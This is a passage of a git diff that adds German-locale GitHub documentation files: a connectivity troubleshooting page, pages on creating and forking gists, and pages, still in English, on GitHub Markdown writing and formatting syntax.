+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145068688'
+---
+Häufig treten Verbindungsprobleme auf, weil eine Firewall, ein Proxyserver, das Unternehmensnetzwerk oder ein anderes Netzwerk so konfiguriert ist, dass {% data variables.product.prodname_dotcom %} blockiert wird.
+
+## Zulassen von {% data variables.product.prodname_dotcom %}-IP-Adressen
+
+Stelle sicher, dass das Netzwerk so konfiguriert ist, dass IP-Adressen von {% data variables.product.prodname_dotcom %} zulässig sind. Weitere Informationen findest du unter „[Informationen zu den IP-Adressen von {% data variables.product.prodname_dotcom %}](/articles/about-github-s-ip-addresses).“
+
+## Unternehmens- oder Organisationsnetzwerk benutzen
+
+Wenn du Verbindungsprobleme auf deinem Unternehmens- oder Organisationsnetzwerk hast, frage deinen Netzwerkadministrator, ob Netzwerkregeln bestimmten Datenverkehr blockieren. Sollten derartige Regeln existieren, bitte deinen Netzwerkadministrator, Datenverkehr mit {% data variables.product.prodname_dotcom %} zuzulassen.
+
+## Fehlerbehebung des Captcha
+
+Wenn die Verifizierung mit dem Captcha Probleme bereitet:
+- Stelle sicher, dass in deinem Browser JavaScript aktiviert ist.
+- Stelle sicher, dass dein Browser unterstützt wird. Wenn dein Browser nicht unterstützt wird, aktualisiere ihn oder installiere einen unterstützten Browser. Eine Liste mit unterstützten Browsern findest du unter [Unterstützte Browser](/articles/supported-browsers).
+- Stelle sicher, dass https://octocaptcha.com/ oder https://arkoselabs.com/ nicht durch die deine Netzwerkkonfiguration blockiert wird. Wenn du dich hinter einer Unternehmensfirewall befindest, bitte deinen IT-Administrator, diese Domänen zuzulassen. Um den Zugriff auf diese Domänen zu überprüfen, besuche https://octocaptcha.com/test, und achte darauf, dass der Text „Connection successfully made!“ angezeigt wird. Besuche dann https://client-demo.arkoselabs.com/github, und vergewissere dich, dass du das Captcha laden kannst.
+- Stelle sicher, dass dein Browser keine Plug-ins oder Erweiterungen verwendet, die mit GitHub in Konflikt stehen. Falls es solche Plug-ins oder Erweiterungen gibt, deaktiviere diese vorübergehend während der Captcha-Verifizierung.
+
+## Klonmethode ändern
+
+Eventuell lässt sich die Konnektivität durch einen Wechsel des Klonverfahrens von SSH zu HTTPS (oder umgekehrt) verbessern. Weitere Informationen findest du unter „[Beheben von Fehlern beim Klonen](/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors)“.
+
+Wenn in Verbindung mit SSH Timeouts auftreten, informiere dich unter „[Fehler: Bad file number](/articles/error-bad-file-number)“.
+
+## Fehlerbehebung bei langsamen Downloads und gelegentlich langsamen Verbindungen
+
+{% data variables.product.prodname_dotcom %} drosselt die Bandbreite nicht für einzelne Benutzer.
+
+Wenn sich die Verbindung nur zu gewissen Tageszeiten verlangsamt, wird dies ziemlich sicher durch Netzwerk-Überlastung verursacht. Leider ist {% data variables.product.prodname_dotcom %} nicht in der Lage, Netzwerkstaus zu beheben. Du solltest dich daher mit diesem Problem an deinen Internetdienstanbieter wenden.
+
+## Fehlerbehebung mit {% data variables.product.prodname_debug %}
+
+Wenn du alle oben genannten Empfehlungen zur Fehlerbehebung befolgt hast, dein Verbindungsproblem aber weiterhin besteht, folgst du den Anweisungen auf der {% data variables.product.prodname_debug %}-Website, um Tests auszuführen und dem {% data variables.product.prodname_dotcom %} Support einen Problembericht zu senden. Weitere Informationen findest du unter [{% data variables.product.prodname_debug %}](https://github-debug.com/).
diff --git a/translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md b/translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md
new file mode 100644
index 0000000000..d661f15ac2
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md
@@ -0,0 +1,83 @@
+---
+title: Creating gists
+intro: 'You can create two kinds of gists: {% ifversion ghae %}internal{% else %}public{% endif %} and secret. Create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist if you''re ready to share your ideas with {% ifversion ghae %}enterprise members{% else %}the world{% endif %} or a secret gist if you''re not.'
+permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}'
+redirect_from:
+  - /articles/about-gists
+  - /articles/cannot-delete-an-anonymous-gist
+  - /articles/deleting-an-anonymous-gist
+  - /articles/creating-gists
+  - /github/writing-on-github/creating-gists
+  - /github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+---
+## About gists
+
+Every gist is a Git repository, which means that it can be forked and cloned. {% ifversion not ghae %}If you are signed in to {% data variables.product.product_name %} when{% else %}When{% endif %} you create a gist, the gist will be associated with your account and you will see it in your list of gists when you navigate to your {% data variables.gists.gist_homepage %}.
+
+Gists can be {% ifversion ghae %}internal{% else %}public{% endif %} or secret. {% ifversion ghae %}Internal{% else %}Public{% endif %} gists show up in {% data variables.gists.discover_url %}, where {% ifversion ghae %}enterprise members{% else %}people{% endif %} can browse new gists as they're created. They're also searchable, so you can use them if you'd like other people to find and see your work.
+
+Secret gists don't show up in {% data variables.gists.discover_url %} and are not searchable unless you are logged in and are the author of the secret gist. Secret gists aren't private. If you send the URL of a secret gist to {% ifversion ghae %}another enterprise member{% else %}a friend{% endif %}, they'll be able to see it. However, if {% ifversion ghae %}any other enterprise member{% else %}someone you don't know{% endif %} discovers the URL, they'll also be able to see your gist. If you need to keep your code away from prying eyes, you may want to [create a private repository](/articles/creating-a-new-repository) instead.
+
+{% data reusables.gist.cannot-convert-public-gists-to-secret %}
+
+{% ifversion ghes %}
+
+If your site administrator has disabled private mode, you can also use anonymous gists, which can be public or secret.
+
+{% data reusables.gist.anonymous-gists-cannot-be-deleted %}
+
+{% endif %}
+
+You'll receive a notification when:
+- You are the author of a gist.
+- Someone mentions you in a gist.
+- You subscribe to a gist, by clicking **Subscribe** at the top of any gist.
+
+{% ifversion fpt or ghes or ghec %}
+
+You can pin gists to your profile so other people can see them easily. For more information, see "[Pinning items to your profile](/articles/pinning-items-to-your-profile)."
+
+{% endif %}
+
+You can discover {% ifversion ghae %}internal{% else %}public{% endif %} gists others have created by going to the {% data variables.gists.gist_homepage %} and clicking **All Gists**. This will take you to a page of all gists sorted and displayed by time of creation or update. You can also search gists by language with {% data variables.gists.gist_search_url %}. Gist search uses the same search syntax as [code search](/search-github/searching-on-github/searching-code).
+
+Since gists are Git repositories, you can view their full commit history, complete with diffs. You can also fork or clone gists. For more information, see ["Forking and cloning gists"](/articles/forking-and-cloning-gists).
+
+You can download a ZIP file of a gist by clicking the **Download ZIP** button at the top of the gist. You can embed a gist in any text field that supports Javascript, such as a blog post. To get the embed code, click the clipboard icon next to the **Embed** URL of a gist. To embed a specific gist file, append the **Embed** URL with `?file=FILENAME`.
+
+{% ifversion fpt or ghec %}
+
+Gist supports mapping GeoJSON files. These maps are displayed in embedded gists, so you can easily share and embed maps. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)."
+
+{% endif %}
+
+## Creating a gist
+
+Follow the steps below to create a gist.
+
+{% note %}
+
+You can also create a gist using the {% data variables.product.prodname_cli %}. For more information, see "[`gh gist create`](https://cli.github.com/manual/gh_gist_create)" in the {% data variables.product.prodname_cli %} documentation.
+
+Alternatively, you can drag and drop a text file from your desktop directly into the editor.
+
+{% endnote %}
+
+1. Sign in to {% data variables.product.product_name %}.
+2. Navigate to your {% data variables.gists.gist_homepage %}.
+3. Type an optional description and name for your gist.
+![Gist name description](/assets/images/help/gist/gist_name_description.png)
+
+4. Type the text of your gist into the gist text box.
+![Gist text box](/assets/images/help/gist/gist_text_box.png)
+
+5. Optionally, to create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %}, then click **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**.
+![Drop-down menu to select gist visibility]{% ifversion ghae %}(/assets/images/help/gist/gist-visibility-drop-down-ae.png){% else %}(/assets/images/help/gist/gist-visibility-drop-down.png){% endif %}
+
+6. Click **Create secret Gist** or **Create {% ifversion ghae %}internal{% else %}public{% endif %} gist**.
+  ![Button to create gist](/assets/images/help/gist/create-secret-gist-button.png)
diff --git a/translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
new file mode 100644
index 0000000000..8ccd895e55
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md
@@ -0,0 +1,41 @@
+---
+title: Gists forken und klonen
+intro: 'Gists sind tatsächlich Git-Repositorys, was bedeutet, dass du jeden Gist forken oder klonen kannst, selbst wenn du nicht der Originalautor bist. Du kannst auch den kompletten Commit-Verlauf eines Gists anzeigen, einschließlich der Diffs.'
+permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}'
+redirect_from:
+  - /articles/forking-and-cloning-gists
+  - /github/writing-on-github/forking-and-cloning-gists
+  - /github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 74161c03eca21f3a2dc6465439d22fee0edb758d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145068673'
+---
+## Gists forken
+
+Jeder Gist zeigt an, welche Forks aktiv sind, sodass interessante Änderungen von anderen einfach zu finden sind.
+
+![Gist-Forks](/assets/images/help/gist/gist_forks.png)
+
+## Gists klonen
+
+Wenn Du lokale Änderungen an einem Gist vornimmst und sie ins Web übertragen möchtest, kannst Du einen Gist so klonen und Commits erstellen, wie Du es von Git-Repositorys kennst. Weitere Informationen findest du unter [Klonen eines Repositorys](/articles/cloning-a-repository).
+
+![Schaltfläche zum Klonen des Gists](/assets/images/help/gist/gist_clone_btn.png)
+
+## Commit-Verlauf eines Gists anzeigen
+
+Um den kompletten Commit-Verlauf eines Gists anzuzeigen, klicke auf die Registerkarte „Revisionen“ oben im Gist.
+
+![Registerkarte mit Revisionen des Gists](/assets/images/help/gist/gist_revisions_tab.png)
+
+Der vollständige Commit-Verlauf einschließlich aller Diffs wird für den Gist angezeigt.
+
+![Seite mit Revisionen des Gists](/assets/images/help/gist/gist_history.png)
diff --git a/translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md b/translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md
new file mode 100644
index 0000000000..1630d0c9e8
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/editing-and-sharing-content-with-gists/index.md
@@ -0,0 +1,25 @@
+---
+title: Inhalte mit Gists bearbeiten und freigeben
+intro: ''
+redirect_from:
+  - /categories/23/articles
+  - /categories/gists
+  - /articles/editing-and-sharing-content-with-gists
+  - /github/writing-on-github/editing-and-sharing-content-with-gists
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /creating-gists
+  - /forking-and-cloning-gists
+shortTitle: Share content with gists
+ms.openlocfilehash: 925e0b03ae524ed7bf4a59315ce9fcf1ab0d650f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145068670'
+---
+
diff --git a/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md b/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
new file mode 100644
index 0000000000..ffec457383
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md
@@ -0,0 +1,45 @@
+---
+title: About writing and formatting on GitHub
+intro: GitHub combines a syntax for formatting text called GitHub Flavored Markdown with a few unique writing features.
+redirect_from:
+  - /articles/about-writing-and-formatting-on-github
+  - /github/writing-on-github/about-writing-and-formatting-on-github
+  - /github/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: About writing & formatting
+---
+[Markdown](http://daringfireball.net/projects/markdown/) is an easy-to-read, easy-to-write syntax for formatting plain text.
+
+We've added some custom functionality to create {% data variables.product.prodname_dotcom %} Flavored Markdown, used to format prose and code across our site.
+
+You can also interact with other users in pull requests and issues using features like [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), [issue and PR references](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests), and [emoji](/articles/basic-writing-and-formatting-syntax/#using-emoji).
+
+## Text formatting toolbar
+
+Every comment field on {% data variables.product.product_name %} contains a text formatting toolbar, allowing you to format your text without learning Markdown syntax. In addition to Markdown formatting like bold and italic styles and creating headers, links, and lists, the toolbar includes {% data variables.product.product_name %}-specific features such as @mentions, task lists, and links to issues and pull requests.
+
+{% ifversion fixed-width-font-gfm-fields %}
+
+## Enabling fixed-width fonts in the editor
+
+You can enable a fixed-width font in every comment field on {% data variables.product.product_name %}. Each character in a fixed-width, or monospace, font occupies the same horizontal space which can make it easier to edit advanced Markdown structures such as tables and code snippets.
+
+![Screenshot showing the {% data variables.product.product_name %} comment field with fixed-width fonts enabled](/assets/images/help/writing/fixed-width-example.png)
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.appearance-settings %}
+1. Under "Markdown editor font preference", select **Use a fixed-width (monospace) font when editing Markdown**.
+  ![Screenshot showing the {% data variables.product.product_name %} comment field with fixed width fonts enabled](/assets/images/help/writing/enable-fixed-width.png)
+
+{% endif %}
+
+## Further reading
+
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
+- "[Basic writing and formatting syntax](/articles/basic-writing-and-formatting-syntax)"
+- "[Working with advanced formatting](/articles/working-with-advanced-formatting)"
+- "[Quickstart for writing on {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)"
diff --git a/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md b/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
new file mode 100644
index 0000000000..5047a0f091
--- /dev/null
+++ b/translations/de-DE/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md
@@ -0,0 +1,385 @@
+---
+title: Basic writing and formatting syntax
+intro: Create sophisticated formatting for your prose and code on GitHub with simple syntax.
+redirect_from:
+  - /articles/basic-writing-and-formatting-syntax
+  - /github/writing-on-github/basic-writing-and-formatting-syntax
+  - /github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Basic formatting syntax
+---
+## Headings
+
+To create a heading, add one to six <kbd>#</kbd> symbols before your heading text. The number of <kbd>#</kbd> you use will determine the size of the heading.
+
+```markdown
+# The largest heading
+## The second largest heading
+###### The smallest heading
+```
+
+![Rendered H1, H2, and H6 headings](/assets/images/help/writing/headings-rendered.png)
+
+When you use two or more headings, GitHub automatically generates a table of contents which you can access by clicking {% octicon "list-unordered" aria-label="The unordered list icon" %} within the file header. Each heading title is listed in the table of contents and you can click a title to navigate to the selected section. 
+
+![Screenshot highlighting the table of contents icon](/assets/images/help/repository/headings_toc.png)
+
+## Styling text
+
+You can indicate emphasis with bold, italic, strikethrough, subscript, or superscript text in comment fields and `.md` files.  
+
+| Style | Syntax | Keyboard shortcut | Example | Output |
+| --- | --- | --- | --- | --- |
+| Bold | `** **` or `__ __`| <kbd>Command</kbd>+<kbd>B</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>B</kbd> (Windows/Linux) | `**This is bold text**` | **This is bold text** |
+| Italic | `* *` or `_ _`     | <kbd>Command</kbd>+<kbd>I</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>I</kbd> (Windows/Linux) | `*This text is italicized*` | *This text is italicized* |
+| Strikethrough | `~~ ~~` | | `~~This was mistaken text~~` | ~~This was mistaken text~~ |
+| Bold and nested italic | `** **` and `_ _` | | `**This text is _extremely_ important**` | **This text is _extremely_ important** |
+| All bold and italic | `*** ***` | | `***All this text is important***` | ***All this text is important*** |
+| Subscript | `<sub> </sub>` | | `<sub>This is a subscript text</sub>` | <sub>This is a subscript text</sub> |
+| Superscript | `<sup> </sup>` | | `<sup>This is a superscript text</sup>` | <sup>This is a superscript text</sup> |
+
+## Quoting text
+
+You can quote text with a <kbd>></kbd>.
+
+```markdown
+Text that is not a quote
+
+> Text that is a quote
+```
+
+![Rendered quoted text](/assets/images/help/writing/quoted-text-rendered.png)
+
+{% tip %}
+
+**Tip:** When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Quote reply**. For more information about keyboard shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts/)."
+
+{% endtip %}
+
+## Quoting code
+
+You can call out code or a command within a sentence with single backticks. The text within the backticks will not be formatted. You can also press the <kbd>Command</kbd>+<kbd>E</kbd> (Mac) or <kbd>Ctrl</kbd>+<kbd>E</kbd> (Windows/Linux) keyboard shortcut to insert the backticks for a code block within a line of Markdown.
+
+```markdown
+Use `git status` to list all new or modified files that haven't yet been committed.
+```
+
+![Rendered inline code block](/assets/images/help/writing/inline-code-rendered.png)
+
+To format code or text into its own distinct block, use triple backticks.
+
+<pre>
+Some basic Git commands are:
+```
+git status
+git add
+git commit
+```
+</pre>
+
+![Rendered code block](/assets/images/help/writing/code-block-rendered.png)
+
+For more information, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)."
+
+{% data reusables.user-settings.enabling-fixed-width-fonts %}
+
+## Supported color models
+
+In issues, pull requests, and discussions, you can call out colors within a sentence by using backticks. A supported color model within backticks will display a visualization of the color.
+
+```markdown
+The background color should be `#ffffff` for light mode and `#0d1117` for dark mode.
+```
+
+![Rendered supported color model.](/assets/images/help/writing/supported-color-models-rendered.png)
+
+Here are the currently supported color models.
+
+| Color | Syntax | Example | Output |
+| --- | --- | --- | --- |
+| HEX | <code>\`#RRGGBB\`</code> | <code>\`#0969DA\`</code> | ![Rendered supported color model in HEX format.](/assets/images/help/writing/supported-color-models-hex-rendered.png) |
+| RGB | <code>\`rgb(R,G,B)\`</code> | <code>\`rgb(9, 105, 218)\`</code> | ![Rendered supported color model in RGB format.](/assets/images/help/writing/supported-color-models-rgb-rendered.png) |
+| HSL | <code>\`hsl(H,S,L)\`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | ![Rendered supported color model in HSL format.](/assets/images/help/writing/supported-color-models-hsl-rendered.png) |
+
+{% note %}
+
+**Notes:**
+
+- A supported color model cannot have any leading or trailing spaces within the backticks.
+- The visualization of the color is only supported in issues, pull requests, and discussions.
+
+{% endnote %}
+
+## Links
+
+You can create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL in parentheses `( )`. You can also use the keyboard shortcut <kbd>Command</kbd>+<kbd>K</kbd> to create a link.{% ifversion fpt or ghae > 3.3 or ghes > 3.3 or ghec %} When you have text selected, you can paste a URL from your clipboard to automatically create a link from the selection.{% endif %}
+
+{% ifversion fpt or ghae > 3.5 or ghes > 3.5 or ghec %} You can also create a Markdown hyperlink by highlighting the text and using the keyboard shortcut <kbd>Command</kbd>+<kbd>V</kbd>. If you'd like to replace the text with the link, use the keyboard shortcut <kbd>Command</kbd>+<kbd>Shift</kbd>+<kbd>V</kbd>.{% endif %}
+
+`This site was built using [GitHub Pages](https://pages.github.com/).`
+
+![Rendered link](/assets/images/help/writing/link-rendered.png)
+
+{% tip %}
+
+**Tip:** {% data variables.product.product_name %} automatically creates links when valid URLs are written in a comment. For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)."
+
+{% endtip %}
+
+## Section links
+
+{% data reusables.repositories.section-links %}
+
+## Relative links
+
+{% data reusables.repositories.relative-links %}
+
+## Images
+
+You can display an image by adding <kbd>!</kbd> and wrapping the alt text in `[ ]`. Then wrap the link for the image in parentheses `()`.
+
+`![This is an image](https://myoctocat.com/assets/images/base-octocat.svg)`
+
+![Rendered Image](/assets/images/help/writing/image-rendered.png)
+
+{% data variables.product.product_name %} supports embedding images into your issues, pull requests{% ifversion fpt or ghec %}, discussions{% endif %}, comments  and `.md` files. You can display an image from your repository, add a link to an online image, or upload an image. For more information, see "[Uploading assets](#uploading-assets)."
+
+{% tip %}
+
+**Tip:** When you want to display an image which is in your repository, you should use relative links instead of absolute links.
+
+{% endtip %}
+
+Here are some examples for using relative links to display an image.
+
+| Context | Relative Link |
+| ------ | -------- |
+| In a `.md` file on the same branch | `/assets/images/electrocat.png` |
+| In a `.md` file on another branch | `/../main/assets/images/electrocat.png` |
+| In issues, pull requests and comments of the repository | `../blob/main/assets/images/electrocat.png?raw=true` |
+| In a `.md` file in another repository | `/../../../../github/docs/blob/main/assets/images/electrocat.png` |
+| In issues, pull requests and comments of another repository | `../../../github/docs/blob/main/assets/images/electrocat.png?raw=true` |
+
+{% note %}
+
+**Note**: The last two relative links in the table above will work for images in a private repository only if the viewer has at least read access to the private repository which contains these images.
+
+{% endnote %}
+
+For more information, see "[Relative Links](#relative-links)."
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+### Specifying the theme an image is shown to
+
+You can specify the theme an image is displayed for in Markdown by using the HTML `<picture>` element in combination with the `prefers-color-scheme` media feature. We distinguish between light and dark color modes, so there are two options available. You can use these options to display images optimized for dark or light backgrounds. This is particularly helpful for transparent PNG images.
+
+For example, the following code displays a sun image for light themes and a moon for dark themes:
+
+{% data reusables.getting-started.picture-element-example %}
+
+The old method of specifying images based on the theme, by using a fragment appended to the URL (`#gh-dark-mode-only` or `#gh-light-mode-only`), is deprecated and will be removed in favor of the new method described above.
+{% endif %}
+
+## Lists
+
+You can make an unordered list by preceding one or more lines of text with <kbd>-</kbd> or <kbd>*</kbd>.
+
+```markdown
+- George Washington
+- John Adams
+- Thomas Jefferson
+```
+
+![Rendered unordered list](/assets/images/help/writing/unordered-list-rendered.png)
+
+To order your list, precede each line with a number.
+
+```markdown
+1. James Madison
+2. James Monroe
+3. John Quincy Adams
+```
+
+![Rendered ordered list](/assets/images/help/writing/ordered-list-rendered.png)
+
+### Nested Lists
+
+You can create a nested list by indenting one or more list items below another item.
+
+To create a nested list using the web editor on {% data variables.product.product_name %} or a text editor that uses a monospaced font, like [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested list item, until the list marker character (<kbd>-</kbd> or <kbd>*</kbd>) lies directly below the first character of the text in the item above it.
+
+```markdown
+1. First list item
+   - First nested list item
+     - Second nested list item
+```
+
+{% tip %}
+
+**Note**: In the web-based editor, you can indent or dedent one or more lines of text by first highlighting the desired lines and then using <kbd>Tab</kbd> or <kbd>Shift</kbd>+<kbd>Tab</kbd> respectively.
+
+{% endtip %}
+
+![Nested list with alignment highlighted](/assets/images/help/writing/nested-list-alignment.png)
+
+![List with two levels of nested items](/assets/images/help/writing/nested-list-example-1.png)
+
+To create a nested list in the comment editor on {% data variables.product.product_name %}, which doesn't use a monospaced font, you can look at the list item immediately above the nested list and count the number of characters that appear before the content of the item. Then type that number of space characters in front of the nested list item.
+
+In this example, you could add a nested list item under the list item `100. First list item` by indenting the nested list item a minimum of five spaces, since there are five characters (`100. `) before `First list item`.
+
+```markdown
+100. First list item
+     - First nested list item
+```
+
+![List with a nested list item](/assets/images/help/writing/nested-list-example-3.png)   
+
+You can create multiple levels of nested lists using the same method. For example, because the first nested list item has seven characters (`␣␣␣␣␣-␣`) before the nested list content `First nested list item`, you would need to indent the second nested list item by seven spaces.
+
+```markdown
+100. First list item
+     - First nested list item
+       - Second nested list item
+```
+
+![List with two levels of nested items](/assets/images/help/writing/nested-list-example-2.png)    
+
+For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265).
+
+## Task lists
+
+{% data reusables.repositories.task-list-markdown %}
+
+If a task list item description begins with a parenthesis, you'll need to escape it with <kbd>\\</kbd>:
+
+`- [ ] \(Optional) Open a followup issue`
+
+For more information, see "[About task lists](/articles/about-task-lists)."
+
+## Mentioning people and teams
+
+You can mention a person or [team](/articles/setting-up-teams/) on {% data variables.product.product_name %} by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the conversation. People will also receive a notification if you edit a comment to mention their username or team name. For more information about notifications, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)."
+
+{% note %}
+
+**Note:** A person will only be notified about a mention if the person has read access to the repository and, if the repository is owned by an organization, the person is a member of the organization.
+
+{% endnote %}
+
+`@github/support What do you think about these updates?`
+
+![Rendered @mention](/assets/images/help/writing/mention-rendered.png)
+
+When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see "[About teams](/articles/about-teams)."
+
+Typing an <kbd>@</kbd> symbol will bring up a list of people or teams on a project. The list filters as you type, so once you find the name of the person or team you are looking for, you can use the arrow keys to select it and press either tab or enter to complete the name. For teams, enter the @organization/team-name and all members of that team will get subscribed to the conversation.
+
+The autocomplete results are restricted to repository collaborators and any other participants on the thread.
+
+## Referencing issues and pull requests
+
+You can bring up a list of suggested issues and pull requests within the repository by typing <kbd>#</kbd>. Type the issue or pull request number or title to filter the list, and then press either tab or enter to complete the highlighted result.
+
+For more information, see "[Autolinked references and URLs](/articles/autolinked-references-and-urls)."
+
+## Referencing external resources
+
+{% data reusables.repositories.autolink-references %}
+
+{% ifversion ghes < 3.4 %}
+## Content attachments
+
+Some {% data variables.product.prodname_github_apps %} provide information in {% data variables.product.product_name %} for URLs that link to their registered domains. {% data variables.product.product_name %} renders the information provided by the app under the URL in the body or comment of an issue or pull request.
+
+![Content attachment](/assets/images/github-apps/content_reference_attachment.png)
+
+To see content attachments, you must have a {% data variables.product.prodname_github_app %} that uses the Content Attachments API installed on the repository.{% ifversion fpt or ghec %} For more information, see "[Installing an app in your personal account](/articles/installing-an-app-in-your-personal-account)" and "[Installing an app in your organization](/articles/installing-an-app-in-your-organization)."{% endif %}
+
+Content attachments will not be displayed for URLs that are part of a markdown link.
+
+For more information about building a {% data variables.product.prodname_github_app %} that uses content attachments, see "[Using Content Attachments](/apps/using-content-attachments)."{% endif %}
+
+## Uploading assets
+
+You can upload assets like images by dragging and dropping, selecting from a file browser, or pasting. You can upload assets to issues, pull requests, comments, and `.md` files in your repository.
+
+## Using emoji
+
+You can add emoji to your writing by typing `:EMOJICODE:`.
+
+`@octocat :+1: This PR looks great - it's ready to merge! :shipit:`
+
+![Rendered emoji](/assets/images/help/writing/emoji-rendered.png)
+
+Typing <kbd>:</kbd> will bring up a list of suggested emoji. The list will filter as you type, so once you find the emoji you're looking for, press **Tab** or **Enter** to complete the highlighted result.
+
+For a full list of available emoji and codes, check out [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/master/README.md).
+
+## Paragraphs
+
+You can create a new paragraph by leaving a blank line between lines of text.
+
+## Footnotes
+
+You can add footnotes to your content by using this bracket syntax:
+
+```
+Here is a simple footnote[^1].
+
+A footnote can also have multiple lines[^2].  
+
+You can also use words, to fit your writing style more closely[^note].
+
+[^1]: My reference.
+[^2]: Every new line should be prefixed with 2 spaces.  
+  This allows you to have a footnote with multiple lines.
+[^note]:
+    Named footnotes will still render with numbers instead of the text but allow easier identification and linking.  
+    This footnote also has been made with a different syntax using 4 spaces for new lines.
+```
+
+The footnote will render like this:
+
+![Rendered footnote](/assets/images/site/rendered-footnote.png)
+
+{% tip %}
+
+**Note**: The position of a footnote in your Markdown does not influence where the footnote will be rendered. You can write a footnote right after your reference to the footnote, and the footnote will still render at the bottom of the Markdown.
+
+Footnotes are not supported in wikis.
+
+{% endtip %}
+
+## Hiding content with comments
+
+You can tell {% data variables.product.product_name %} to hide content from the rendered Markdown by placing the content in an HTML comment.
+
+<pre>
+&lt;!-- This content will not appear in the rendered Markdown --&gt;
+</pre>
+
+## Ignoring Markdown formatting
+
+You can tell {% data variables.product.product_name %} to ignore (or escape) Markdown formatting by using <kbd>\\</kbd> before the Markdown character.
+
+`Let's rename \*our-new-project\* to \*our-old-project\*.`
+
+![Rendered escaped character](/assets/images/help/writing/escaped-character-rendered.png)
+
+For more information, see Daring Fireball's "[Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash)."
+
+## Disabling Markdown rendering
+
+{% data reusables.repositories.disabling-markdown-rendering %}
+
+## Further reading
+
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown Spec](https://github.github.com/gfm/)
+- "[About writing and formatting on GitHub](/articles/about-writing-and-formatting-on-github)"
+- "[Working with advanced formatting](/articles/working-with-advanced-formatting)"
+- "[Quickstart for writing on {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)"
